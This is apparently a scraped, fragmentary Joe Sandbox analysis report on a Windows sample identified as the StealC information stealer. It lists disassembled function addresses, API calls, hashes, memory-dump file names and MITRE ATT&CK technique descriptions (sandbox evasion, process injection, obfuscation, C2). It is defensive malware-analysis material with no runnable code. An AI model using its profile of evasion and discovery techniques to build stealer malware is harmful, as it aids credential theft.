Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 87c2759d09b30de22dcb1761227eb4f1eacee6f412c4dc660a9aed157a75f541
Instruction ID: 8d0e28ee762e2ff41bb3aaef34cbb0da296d450f24d2ab3f8e70ba06770e5970
Opcode Fuzzy Hash: 87c2759d09b30de22dcb1761227eb4f1eacee6f412c4dc660a9aed157a75f541
Instruction Fuzzy Hash: 59F03C75E44208BBDB10DBF2DC49B9E77F9EB48710F10C268B651AB2D0D6B0A7058B50

Function 00CBC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00CBC74E

Part of subcall function 00CBBF9F: __amsg_exit.LIBCMT ref: 00CBBFAF

__getptd.LIBCMT ref: 00CBC765
__amsg_exit.LIBCMT ref: 00CBC773
__updatetlocinfoEx_nolock.LIBCMT ref: 00CBC797

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: b32c21abc21ee87435effb79711e53bdf7619522bb2e336913485776ba48a8da
Instruction ID: cc657267a2e172fde3f9f1f41e80abcf1a5fce676bdee71fb84fbea33becb490
Opcode Fuzzy Hash: b32c21abc21ee87435effb79711e53bdf7619522bb2e336913485776ba48a8da
Instruction Fuzzy Hash: 7FF0BE329007009BDB21BBF89887BEE33A0AF04721F244149F464B61D2CFA45E40BE96

Function 00CB4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00CB8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00CB8E0B

lstrcat.KERNEL32(?,00000000), ref: 00CB4F7A
lstrcat.KERNEL32(?,00CC1070), ref: 00CB4F97
lstrcat.KERNEL32(?,009D8AA8), ref: 00CB4FAB
lstrcat.KERNEL32(?,00CC1074), ref: 00CB4FBD

Part of subcall function 00CB4910: wsprintfA.USER32 ref: 00CB492C
Part of subcall function 00CB4910: FindFirstFileA.KERNEL32(?,?), ref: 00CB4943

Part of subcall function 00CB4910: StrCmpCA.SHLWAPI(?,00CC0FDC), ref: 00CB4971
Part of subcall function 00CB4910: StrCmpCA.SHLWAPI(?,00CC0FE0), ref: 00CB4987
Part of subcall function 00CB4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00CB4B7D
Part of subcall function 00CB4910: FindClose.KERNEL32(000000FF), ref: 00CB4B92

Memory Dump Source

Source File: 00000000.00000002.1367522794.0000000000CA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00CA0000, based on PE: true

Associated: 00000000.00000002.1367509302.0000000000CA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D5D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367522794.0000000000EEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000000EFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001086000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001166000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001188000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.0000000001191000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367662136.00000000011A0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367879755.00000000011A1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367979504.000000000133D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1367994970.000000000133E000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ca0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: 481e201c14f0cd3fb7995d8ce1506227d2f48c71083194501e0a4ff7421a1c70
Instruction ID: 5780386f0087d4b7ad358bba6dc61c76c84d4197c5fd055722b0e8f2c852522c
Opcode Fuzzy Hash: 481e201c14f0cd3fb7995d8ce1506227d2f48c71083194501e0a4ff7421a1c70
Instruction Fuzzy Hash: 7921887AD0020CABC754FBB0DC86EE9337CA754700F04456CB659A6181EE75AACCDBA2

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00CB9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Function 00CA45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 00CA4880 Relevance: 28.5, APIs: 11, Strings: 5, Instructions: 479
networkstringfileCOMMON

Function 00CB9C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Function 00CA6280 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00CB5510 Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 383
sleepCOMMON

Function 00CB17A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00CB7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00CB69F0 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00CA1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00CB6AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00CA47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00CB51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON